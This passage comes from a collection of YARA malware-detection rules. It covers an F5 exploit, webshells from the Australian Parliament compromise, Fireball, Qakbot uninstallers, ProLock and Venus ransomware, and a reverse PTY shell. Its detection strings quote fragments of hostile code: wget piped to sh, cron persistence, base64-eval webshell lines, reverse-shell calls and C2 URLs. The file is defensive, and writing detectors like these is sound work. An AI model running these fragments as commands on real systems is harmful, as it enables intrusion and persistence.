		description = "Detects code found in report on exploits against CVE-2020-5902 F5 BIG-IP vulnerability by NCC group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/"
		date = "2020-06-07"
		score = 75
		id = "57705ba1-c0ad-5ca6-8539-44d9da6b5942"

	strings:
		$x1 = "rm -f /etc/ld.so.preload" ascii fullword
		$x2 = "echo \"* * * * * $LDR" ascii
		$x3 = ".sh -o /tmp/in.sh" ascii
		$x4 = "chmod a+x /etc/.modules/.tmp" ascii
		$x5 = "chmod +x /var/log/F5-logcheck"
		$s1 = "ulimit -n 65535" ascii fullword
		$s2 = "-s /usr/bin/wget " ascii
		$s3 = ".sh | sh" ascii

	condition:
		filesize < 300KB and ( 1 of ( $x* ) or 3 of them )
}

rule MAL_BackNet_Nov18_1
{
	meta:
		description = "Detects BackNet samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/valsov/BackNet"
		date = "2018-11-02"
		hash1 = "4ce82644eaa1a00cdb6e2f363743553f2e4bd1eddb8bc84e45eda7c0699d9adc"
		id = "f8575c5a-710d-5e97-91c1-5db454c6baf4"

	strings:
		$s1 = "ProcessedByFody" fullword ascii
		$s2 = "SELECT * FROM AntivirusProduct" fullword wide
		$s3 = "/C netsh wlan show profile" wide
		$s4 = "browsertornado" fullword wide
		$s5 = "Current user is administrator" fullword wide
		$s6 = "/C choice /C Y /N /D Y /T 4 & Del" wide
		$s7 = "ThisIsMyMutex-2JUY34DE8E23D7" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 2 of them
}

rule SUSP_Qakbot_Uninstaller_ShellCode_Aug23
{
	meta:
		description = "Detects Qakbot Uninstaller files used by the FBI and Dutch National Police in a disruption operation against the Qakbot in August 2023"
		author = "Florian Roth"
		reference = "https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources"
		date = "2023-08-30"
		score = 60
		id = "860796ab-689f-5c5f-bc40-3e2ef7fd1d5d"

	strings:
		$xc1 = { E8 00 00 00 00 58 55 89 E5 89 C2 68 03 00 00 00 68 00 2C 00 00 05 20 0A 00 00 50 E8 05 00 00 00 83 C4 04 C9 C3 81 EC 08 01 00 00 53 55 56 57 6A 6B 58 6A 65 5B 6A 72 66 89 84 24 D4 00 00 00 33 }

	condition:
		$xc1
}

rule SUSP_QakBot_Uninstaller_FBI_Aug23
{
	meta:
		description = "Detects Qakbot uninstaller used by the FBI / Dutch Police"
		author = "Florian Roth"
		reference = "https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources"
		date = "2023-08-31"
		score = 60
		hash1 = "559cae635f0d870652b9482ef436b31d4bb1a5a0f51750836f328d749291d0b6"
		hash2 = "855eb5481f77dde5ad8fa6e9d953d4aebc280dddf9461144b16ed62817cc5071"
		hash3 = "fab408536aa37c4abc8be97ab9c1f86cb33b63923d423fdc2859eb9d63fa8ea0"
		id = "499bff56-ff49-53df-9922-227b816c0a36"

	strings:
		$op1 = { 69 c1 65 89 07 6c 03 c2 89 84 95 24 f6 ff ff 8b 55 e4 42 89 55 e4 81 fa 70 02 00 00 7c d4 }
		$op2 = { 42 89 55 e4 81 fa 70 02 00 00 7c d4 f2 0f 10 0d a0 31 00 10 33 f6 f2 0f 10 15 a8 31 00 10 66 90 }
		$op5 = { 68 48 31 00 10 6a 28 57 e8 e4 fd ff ff 8b 4d fc 83 c4 4c 33 cd 33 c0 }
		$op6 = { 33 c0 66 39 06 74 0f 0f 1f 80 00 00 00 00 40 66 83 3c 46 00 75 f8 8d 3c 00 }

	condition:
		all of them
}

import "pe"

rule gen_Excel_xll_addin_suspicious
{
	meta:
		description = "Detects suspicious XLL add-ins to Excel"
		license = "https://creativecommons.org/licenses/by-nc/4.0/"
		author = "@JohnLaTwC"
		date = "2020-10-16"
		reference1 = "https://twitter.com/JohnLaTwC/status/1315287078855352326"
		reference2 = "https://labs.f-secure.com/archive/add-in-opportunities-for-office-persistence/"
		reference3 = "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52"
		hash1 = "0bad4e4bc5093dcfc2737c4d8be89d6f093509a7b91a1e022050cb890d90e4e0"
		hash2 = "133e47eedfede46d1a4529ce7f047e09521ed8c7cad2e49d3522064695bd6c43"
		hash3 = "1994a39d5639b4eea5c3cdf084a8eacf8610a96702e580d88a6ec18887d0ec6b"
		hash4 = "28f45d01e397841fcba48da1e61e4927f42ff6fe6f32595c23cf9a953cd2658a"
		hash5 = "54c3598cf22ad64faeb4e0f9f70e026a1ae834a8c06e5187bf289bb3ee43a8ec"
		hash6 = "5644a04513744edfb247d0ea83e3e2f7d616d6752cfd1af50e866bb0270131ee"
		hash7 = "836c0d21fc3ea3a8ce1a493097a5034d110e5c50bfd7e6c3dcb674dc7a6a19ec"
		hash8 = "b926f7db36bc5bae73091c783b0715d2af051de22a579548adf2498cb1a1d075"
		hash9 = "6ba100a5da5efea14a5ca929628b732a6e6b8ab8f78167db35343e895997ce52"
		hasha = "ee603cbd6187850334ae5d8adcf029d5cde710fc966b2b7a2c95249d3b23d693"
		hashb = "99195679e998407fd4d606a0d956bda99f79625b638c63f90d9d399c6f2a143e"
		hashc = "99534c7086128998ae39967fe5fc6bf526cb2ba5d3b2e99dc7bd03833e4a94ae"
		id = "013db759-ab9d-5505-933b-bda702a0941e"

	strings:
		$s1 = "CryptStringToBinaryA"
		$s2 = "NtQueueApcThread"
		$cs1 = "dsrole.dll"
		$cs2 = "user32.dll"
		$debug = "SeDebugPrivilege"

	condition:
		filesize < 1MB and uint16( 0 ) == 0x5a4d and pe.characteristics & pe.DLL and pe.exports ( "xlAutoOpen" ) and ( ( ( pe.imports ( "KERNEL32.dll" , "LookupPrivilegeValueW" ) or pe.imports ( "KERNEL32.dll" , "LookupPrivilegeValueA" ) ) and pe.imports ( "KERNEL32.dll" , "AdjustTokenPrivileges" ) and pe.imports ( "KERNEL32.dll" , "OpenProcess" ) and $debug ) or ( pe.imports ( "ADVAPI32.dll" , "CryptDecrypt" ) and pe.imports ( "ADVAPI32.dll" , "CryptImportKey" ) ) or ( pe.imports ( "DNSAPI.dll" , "DnsQuery_A" ) or pe.imports ( "DNSAPI.dll" , "DnsQuery_W" ) ) or ( ( pe.imports ( "KERNEL32.dll" , "FindResourceA" ) or pe.imports ( "KERNEL32.dll" , "FindResourceW" ) ) and pe.imports ( "KERNEL32.dll" , "LoadResource" ) and pe.imports ( "KERNEL32.dll" , "LockResource" ) and ( pe.imports ( "KERNEL32.dll" , "VirtualAlloc" ) or pe.imports ( "KERNEL32.dll" , "VirtualAllocEx" ) ) and pe.imports ( "KERNEL32.dll" , "WriteProcessMemory" ) and pe.imports ( "KERNEL32.dll" , "SetThreadContext" ) ) or ( pe.imports ( "KERNEL32.dll" , "GetThreadContext" ) and pe.imports ( "KERNEL32.dll" , "VirtualAllocEx" ) and pe.imports ( "KERNEL32.dll" , "ResumeThread" ) and pe.imports ( "KERNEL32.dll" , "SetThreadContext" ) ) or ( pe.imports ( "KERNEL32.dll" , "WinExec" ) ) or ( all of ( $s* ) ) or ( all of ( $cs* ) and pe.imports ( "KERNEL32.dll" , "VirtualAllocEx" ) and pe.imports ( "KERNEL32.dll" , "TerminateProcess" ) and pe.imports ( "KERNEL32.dll" , "Sleep" ) ) )
}

rule APT_WebShell_Tiny_1
{
	meta:
		description = "Detetcs a tiny webshell involved in the Australian Parliament House network compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
		date = "2019-02-18"
		id = "e65a8920-0684-5aae-a2b8-079c2beae08a"

	strings:
		$x1 = "eval(" ascii wide

	condition:
		( uint16( 0 ) == 0x3f3c or uint16( 0 ) == 0x253c ) and filesize < 40 and $x1
}

rule APT_WebShell_AUS_Tiny_2
{
	meta:
		description = "Detetcs a tiny webshell involved in the Australian Parliament House network compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
		date = "2019-02-18"
		hash1 = "0d6209d86f77a0a69451b0f27b476580c14e0cda15fa6a5003aab57a93e7e5a5"
		id = "4746d4ce-628a-59b0-9032-7e0759d96ad3"

	strings:
		$x1 = "Request.Item[System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(\"[password]\"))];" ascii
		$x2 = "eval(arguments,System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(\"" ascii

	condition:
		( uint16( 0 ) == 0x3f3c or uint16( 0 ) == 0x253c ) and filesize < 1KB and 1 of them
}

rule APT_WebShell_AUS_JScript_3
{
	meta:
		description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
		date = "2019-02-18"
		hash1 = "7ac6f973f7fccf8c3d58d766dec4ab7eb6867a487aa71bc11d5f05da9322582d"
		id = "ff7e780b-ccf9-53b6-b741-f04a8cbaf580"

	strings:
		$s1 = "<%@ Page Language=\"Jscript\" validateRequest=\"false\"%><%try{eval(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String" ascii
		$s2 = ".Item[\"[password]\"])),\"unsafe\");}" ascii

	condition:
		uint16( 0 ) == 0x6568 and filesize < 1KB and all of them
}

rule APT_WebShell_AUS_4
{
	meta:
		description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
		date = "2019-02-18"
		hash1 = "83321c02339bb51735fbcd9a80c056bd3b89655f3dc41e5fef07ca46af09bb71"
		id = "bb5b10d1-3528-5361-92fc-8440c65dcda4"

	strings:
		$s1 = "wProxy.Credentials = new System.Net.NetworkCredential(pusr, ppwd);" fullword ascii
		$s2 = "{return System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(" ascii
		$s3 = ".Equals('User-Agent', StringComparison.OrdinalIgnoreCase))" ascii
		$s4 = "gen.Emit(System.Reflection.Emit.OpCodes.Ret);" fullword ascii

	condition:
		uint16( 0 ) == 0x7566 and filesize < 10KB and 3 of them
}

rule APT_Script_AUS_4
{
	meta:
		description = "Detetcs a script involved in the Australian Parliament House network compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
		date = "2019-02-18"
		hash1 = "fdf15f388a511a63fbad223e6edb259abdd4009ec81fcc87ce84f0f2024c8057"
		id = "5cbf2476-5ce8-540d-b87b-e400daf49b43"

	strings:
		$x1 = "myMutex = CreateMutex(0, 1, \"teX23stNew\")" fullword ascii
		$x2 = "mmpath = Environ(appdataPath) & \"\\\" & \"Microsoft\" & \"\\\" & \"mm.accdb\"" fullword ascii
		$x3 = "Dim mmpath As String, newmmpath  As String, appdataPath As String" fullword ascii
		$x4 = "'MsgBox \"myMutex Created\" Do noting" fullword ascii
		$x5 = "appdataPath = \"app\" & \"DatA\"" fullword ascii
		$x6 = ".DoCmd.Close , , acSaveYes" fullword ascii

	condition:
		filesize < 7KB and 1 of them
}

rule APT_WebShell_AUS_5
{
	meta:
		description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
		date = "2019-02-18"
		hash1 = "54a17fb257db2d09d61af510753fd5aa00537638a81d0a8762a5645b4ef977e4"
		id = "59b3f6aa-2d3b-54b4-b543-57bd9d981e87"

	strings:
		$a1 = "function DEC(d){return System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(d));}" fullword ascii
		$a2 = "function ENC(d){return Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(d));}" fullword ascii
		$s1 = "var hash=DEC(Request.Item['" ascii
		$s2 = "Response.Write(ENC(SET_ASS_SUCCESS));" fullword ascii
		$s3 = "hashtable[hash] = assCode;" fullword ascii
		$s4 = "Response.Write(ss);" fullword ascii
		$s5 = "var hashtable = Application[CachePtr];" fullword ascii

	condition:
		uint16( 0 ) == 0x7566 and filesize < 2KB and 4 of them
}

rule HKTL_LazyCat_LogEraser
{
	meta:
		description = "Detetcs a tool used in the Australian Parliament House network compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
		date = "2019-02-18"
		hash1 = "1c113dce265e4d744245a7c55dadc80199ae972a9e0ecbd0c5ced57067cf755b"
		hash2 = "510375f8142b3651df67d42c3eff8d2d880987c0e057fc75a5583f36de34bf0e"
		id = "a3d74657-a389-5482-ab26-966e790afd50"

	strings:
		$x1 = "LazyCat.dll" ascii wide fullword
		$x2 = ".local_privilege_escalation.rotten_potato" ascii wide
		$x3 = "LazyCat.Extension" ascii wide
		$x4 = " MEOWof" ascii wide
		$x5 = "VirtualSite: {0}, Address: {1:X16}, Name: {2}, Handle: {3:X16}, LogPath: {4}" fullword wide
		$s1 = "LazyCat" fullword ascii wide
		$s2 = "$e3ff37f2-85d7-4b24-a385-7eeb1f5a9562"
		$s3 = "local -> remote {0} bytes"
		$s4 = "remote -> local {0} bytes"

	condition:
		3 of them
}

rule HKTL_PowerKatz_Feb19_1
{
	meta:
		description = "Detetcs a tool used in the Australian Parliament House network compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
		date = "2019-02-18"
		id = "294d6f6c-dbc8-5431-87a0-64abe582c4ea"

	strings:
		$x1 = "Powerkatz32" ascii wide fullword
		$x2 = "Powerkatz64" ascii wide
		$s1 = "GetData: not found taskName" fullword ascii wide
		$s2 = "GetRes Ex:" fullword ascii wide

	condition:
		1 of ( $x* ) and 1 of ( $s* )
}

rule HKTL_Unknown_Feb19_1
{
	meta:
		description = "Detetcs a tool used in the Australian Parliament House network compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
		date = "2019-02-18"
		id = "bdcadc4b-8881-5dc7-b203-4e79cbc850ed"

	strings:
		$x1 = "not a valid timeout format!" ascii wide fullword
		$x2 = "host can not be empty!" ascii wide fullword
		$x3 = "not a valid port format!" ascii wide fullword
		$x4 = "{0} - {1} TTL={2} time={3}" ascii wide fullword
		$x5 = "ping count is not a correct format!" ascii wide fullword
		$s1 = "The result is too large,program store to '{0}'.Please download it manully." fullword ascii wide
		$s2 = "C:\\Windows\\temp\\" ascii wide

	condition:
		1 of ( $x* ) or 2 of them
}

rule Fireball_de_svr
{
	meta:
		description = "Detects Fireball malware - file de_svr.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4pTkGQ"
		date = "2017-06-02"
		hash1 = "f964a4b95d5c518fd56f06044af39a146d84b801d9472e022de4c929a5b8fdcc"
		id = "29395239-66d8-5340-b884-9b8f036cc27f"

	strings:
		$s1 = "cmd.exe /c MD " fullword ascii
		$s2 = "rundll32.exe \"%s\",%s" fullword wide
		$s3 = "http://d12zpbetgs1pco.cloudfront.net/Weatherapi/shell" fullword wide
		$s4 = "C:\\v3\\exe\\de_svr_inst.pdb" fullword ascii
		$s5 = "Internet Connect Failed!" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 3000KB and 4 of them )
}

rule Fireball_lancer
{
	meta:
		description = "Detects Fireball malware - file lancer.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4pTkGQ"
		date = "2017-06-02"
		hash1 = "7d68386554e514f38f98f24e8056c11c0a227602ed179d54ed08f2251dc9ea93"
		id = "2209bcb4-74a6-5c39-962c-ccd4ce62619e"

	strings:
		$x1 = "\\instlsp\\Release\\Lancer.pdb" ascii
		$x2 = "lanceruse.dat" fullword wide
		$s1 = "Lancer.dll" fullword ascii
		$s2 = "RunDll32.exe \"" fullword wide
		$s3 = "Micr.dll" fullword wide
		$s4 = "AG64.dll" fullword wide
		$s5 = "\",Start" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) or 3 of ( $s* ) ) ) or ( 6 of them )
}

rule QQBrowser
{
	meta:
		description = "Not malware but suspicious browser - file QQBrowser.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4pTkGQ"
		date = "2017-06-02"
		score = 50
		hash1 = "adcf6b8aa633286cd3a2ce7c79befab207802dec0e705ed3c74c043dabfc604c"
		id = "457507c5-0411-5d72-891b-ae3e428ea2d6"

	strings:
		$s1 = "TerminateProcessWithoutDump" fullword ascii
		$s2 = ".Downloader.dll" fullword wide
		$s3 = "Software\\Chromium\\BrowserCrashDumpAttempts" fullword wide
		$s4 = "QQBrowser_Broker.exe" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule chrome_elf
{
	meta:
		description = "Detects Fireball malware - file chrome_elf.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4pTkGQ"
		date = "2017-06-02"
		hash1 = "e4d4f6fbfbbbf3904ca45d296dc565138a17484c54aebbb00ba9d57f80dfe7e5"
		id = "8680d5b5-e26f-5a3f-aeab-b965afe91027"

	strings:
		$x2 = "schtasks /Create /SC HOURLY /MO %d /ST 00:%02d:00 /TN \"%s\" /TR \"%s\" /RU \"SYSTEM\"" fullword wide
		$s6 = "aHR0cDovL2R2Mm0xdXVtbnNndHUuY2xvdWRmcm9udC5uZXQvdjQvZ3RnLyVzP2FjdGlvbj12aXNpdC5jaGVsZi5pbnN0YWxs" fullword ascii
		$s7 = "QueryInterface call failed for IExecAction: %x" fullword ascii
		$s10 = "%s %s,Rundll32_Do %s" fullword wide
		$s13 = "Failed to create an instance of ITaskService: %x" fullword ascii
		$s16 = "Rundll32_Do" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 4 of them )
}

rule Fireball_regkey
{
	meta:
		description = "Detects Fireball malware - file regkey.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4pTkGQ"
		date = "2017-06-02"
		modified = "2022-12-21"
		hash1 = "fff2818caa9040486a634896f329b8aebaec9121bdf9982841f0646763a1686b"
		id = "6e22bb93-8c8b-510f-a9e4-6e57c392c2ae"

	strings:
		$s1 = "\\WinMain\\Release\\WinMain.pdb" ascii
		$s2 = "ScreenShot" fullword wide
		$s3 = "WINMAIN" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule Fireball_winsap
{
	meta:
		description = "Detects Fireball malware - file winsap.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4pTkGQ"
		date = "2017-06-02"
		hash1 = "c7244d139ef9ea431a5b9cc6a2176a6a9908710892c74e215431b99cd5228359"
		id = "e68e7738-f325-5b73-9e61-4e2413b7b7be"

	strings:
		$s1 = "aHR0cDovL2" ascii
		$s2 = "%s\\svchost.exe -k %s" fullword wide
		$s3 = "\\SETUP.dll" wide
		$s4 = "WinSAP.dll" fullword ascii
		$s5 = "Error %u in WinHttpQueryDataAvailable." fullword ascii
		$s6 = "UPDATE OVERWRITE" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 4 of them )
}

rule Fireball_archer
{
	meta:
		description = "Detects Fireball malware - file archer.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4pTkGQ"
		date = "2017-06-02"
		modified = "2022-12-21"
		hash1 = "9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022"
		id = "16bb95c1-af69-5688-8999-f097d02d2ffc"

	strings:
		$x1 = "\\archer_lyl\\Release\\Archer_Input.pdb" ascii
		$s1 = "Archer_Input.dll" fullword ascii
		$s2 = "InstallArcherSvc" fullword ascii
		$s3 = "%s_%08X" fullword wide
		$s4 = "d\\\\.\\PhysicalDrive%d" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( $x1 or 3 of them )
}

rule clearlog
{
	meta:
		description = "Detects Fireball malware - file clearlog.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4pTkGQ"
		date = "2017-06-02"
		hash1 = "14093ce6d0fe8ab60963771f48937c669103842a0400b8d97f829b33c420f7e3"
		id = "3eb58a7a-b04d-52c2-8c3c-c149da8d4aa8"

	strings:
		$x1 = "\\ClearLog\\Release\\logC.pdb" ascii
		$s1 = "C:\\Windows\\System32\\cmd.exe /c \"\"" fullword wide
		$s2 = "logC.dll" fullword ascii
		$s3 = "hhhhh.exe" fullword wide
		$s4 = "ttttt.exe" fullword wide
		$s5 = "Logger Name:" fullword ascii
		$s6 = "cle.log.1" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and $x1 or 2 of them )
}

rule Fireball_gubed
{
	meta:
		description = "Detects Fireball malware - file gubed.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4pTkGQ"
		date = "2017-06-02"
		modified = "2022-12-21"
		hash1 = "e3f69a1fb6fcaf9fd93386b6ba1d86731cd9e5648f7cff5242763188129cd158"
		id = "cba2913f-4d9a-5925-ad9a-f5815a635291"

	strings:
		$x1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MRT.exe" fullword wide
		$x2 = "tIphlpapi.dll" fullword wide
		$x3 = "http://%s/provide?clients=%s&reqs=visit.startload" fullword wide
		$x4 = "\\Gubed\\Release\\Gubed.pdb" ascii
		$x5 = "d2hrpnfyb3wv3k.cloudfront.net" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them )
}

import "pe"

rule Gazer_certificate_subject
{
	meta:
		description = "Detects Tura's Gazer malware"
		author = "ESET"
		reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
		date = "30.08.2017"
		id = "4eace653-003e-5cae-9db8-f26502f35fc4"

	condition:
		for any i in ( 0 .. pe.number_of_signatures - 1 ) : ( pe.signatures [ i ] . subject contains "Solid Loop" or pe.signatures [ i ] . subject contains "Ultimate Computer Support" )
}

rule Gazer_certificate
{
	meta:
		description = "Detects Tura's Gazer malware"
		author = "ESET"
		reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
		date = "30.08.2017"
		id = "4eace653-003e-5cae-9db8-f26502f35fc4"

	strings:
		$certif1 = { 52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02 }
		$certif2 = { 12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c }

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them and filesize < 2MB
}

rule Gazer_logfile_name
{
	meta:
		description = "Detects Tura's Gazer malware"
		author = "ESET"
		reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
		date = "30.08.2017"
		id = "c10d440f-dc9e-54c8-b329-9f22cba05e86"

	strings:
		$s1 = "CVRG72B5.tmp.cvr"
		$s2 = "CVRG1A6B.tmp.cvr"
		$s3 = "CVRG38D9.tmp.cvr"

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule HKTL_Reverse_Connect_TCP_PTY_Shell
{
	meta:
		description = "Detects reverse connect TCP PTY shell"
		author = "Jeff Beley"
		date = "2019-10-19"
		hash1 = "cae9833292d3013774bdc689d4471fd38e4a80d2d407adf9fa99bc8cde3319bf"
		reference = "https://github.com/infodox/python-pty-shells/blob/master/tcp_pty_backconnect.py"
		id = "a9a90d67-774b-5b32-97c0-d7e06763f2e9"

	strings:
		$s1 = "os.dup2(s.fileno(),1)" fullword ascii
		$s2 = "pty.spawn(\"/bin/\")" fullword ascii
		$s3 = "os.putenv(\"HISTFILE\",'/dev/null')" fullword ascii
		$s4 = "socket.socket(socket.AF_INET, socket.SOCK_STREAM)" fullword ascii

	condition:
		filesize < 1KB and 2 of them
}

rule MAL_Prolock_Malware
{
	meta:
		description = "Detects Prolock malware in encrypted and decrypted mode"
		author = "Frank Boldewin (@r3c0nst)"
		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar"
		date = "2020-05-17"
		hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
		hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178"
		id = "269bf0c5-8315-5405-8e44-e2cc5507a36a"

	strings:
		$DecryptionRoutine = {01 C2 31 DB B8 ?? ?? ?? ?? 31 04 1A 81 3C 1A}
		$DecryptedString1 = "support981723721@protonmail.com" nocase ascii
		$DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii
		$DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii
		$CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E}

	condition:
		(( uint16( 0 ) == 0x5A4D ) or ( uint16( 0 ) == 0x4D42 ) ) and filesize < 100KB and ( ( $DecryptionRoutine ) or ( 1 of ( $DecryptedString* ) and $CryptoCode ) )
}

import "pe"

rule MAL_RANSOM_Venus_Nov22_1
{
	meta:
		description = "Detects Venus Ransomware samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/dyngnosis/status/1592588860168421376"
		date = "2022-11-16"
		score = 85
		hash1 = "46f9cbc3795d6be0edd49a2c43efe6e610b82741755c5076a89eeccaf98ee834"
		hash2 = "6d8e2d8f6aeb0f4512a53fe83b2ef7699513ebaff31735675f46d1beea3a8e05"
		hash3 = "931cab7fbc0eb2bbc5768f8abdcc029cef76aff98540d9f5214786dccdb6a224"
		hash4 = "969bfe42819e30e35ca601df443471d677e04c988928b63fccb25bf0531ea2cc"
		hash5 = "db6fcd33dcb3f25890c28e47c440845b17ce2042c34ade6d6508afd461bfa21c"
		hash6 = "ee036f333a0c4a24d9aa09848e635639e481695a9209474900eb71c9e453256b"
		hash7 = "fa7ba459236c7b27a0429f1961b992ab87fc8b3427469fd98bfc272ae6852063"
		id = "0f7e0ca4-c5e2-5557-92de-2e0d73035f12"

	strings:
		$x1 = "<html><head><title>Venus</title><style type = \"text" ascii fullword
		$x2 = "xXBLTZKmAu9pjcfxrIK4gkDp/J9XXATjuysFRXG4rH4=" ascii fullword
		$x3 = "%s%x%x%x%x.goodgame" wide fullword
		$s1 = "/c ping localhost -n 3 > nul & del %s" ascii fullword
		$s2 = "C:\\Windows\\%s.png" wide
		$op1 = { 8b 4c 24 24 46 8b 7c 24 14 41 8b 44 24 30 81 c7 00 04 00 00 81 44 24 10 00 04 00 00 40 }
		$op2 = { 57 c7 45 fc 00 00 00 00 7e 3f 50 33 c0 74 03 9b 6e }
		$op3 = { 66 89 45 d4 0f 11 45 e8 e8 a8 e7 ff ff 83 c4 14 8d 45 e8 50 8d 45 a4 50 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and ( pe.imphash ( ) == "bb2600e94092da119ee6acbbd047be43" or 1 of ( $x* ) or 2 of them ) or 4 of them
}

import "pe"

rule Datper_Backdoor
{
	meta:
		description = "Detects Datper Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html"
		date = "2017-08-21"
		hash1 = "7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849"
		hash2 = "331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b"
		hash3 = "90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2"
		hash4 = "12d9b4ec7f8ae42c67a6fd030efb027137dbe29e63f6f669eb932d0299fbe82f"
		hash5 = "2384e8ad8eee6db1e69b3ee7b6b3d01ae09f99a86901a0a87fb2788c1115090c"
		hash6 = "1e511c32cdf8abe23d8ba7c39da5ce7fc6c87fdb551c9fc3265ee22ac4076e27"
		hash7 = "7bc042b9a599e1024a668b9921e2a42a02545429cf446d5b3d21f20185afa6ce"
		id = "547db8bb-cc02-5521-8b85-845b1652fee9"

	strings:
		$s1 = "RtlGetCo" fullword ascii
		$s2 = "hutils" fullword ascii
		$s3 = "kza2FWU,f;\"3U&zpa3U(W`J" fullword ascii
		$c1 = "dkkwldngn" fullword ascii
		$c2 = "ndkkwqgcm" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "58db98e2334746d349d607e4d73bc5ea" or pe.imphash ( ) == "8fbed921458af485ce84fb7d9b13899e" or ( 2 of ( $s* ) and 1 of ( $c* ) ) or ( $s3 and $c1 ) ) )
}

rule MAL_APT_Operation_ShadowHammer_MalSetup
{
	meta:
		description = "Detects a malicious file used by BARIUM group in Operation ShadowHammer"
		date = "2019-03-25"
		author = "Florian Roth (Nextron Systems)"
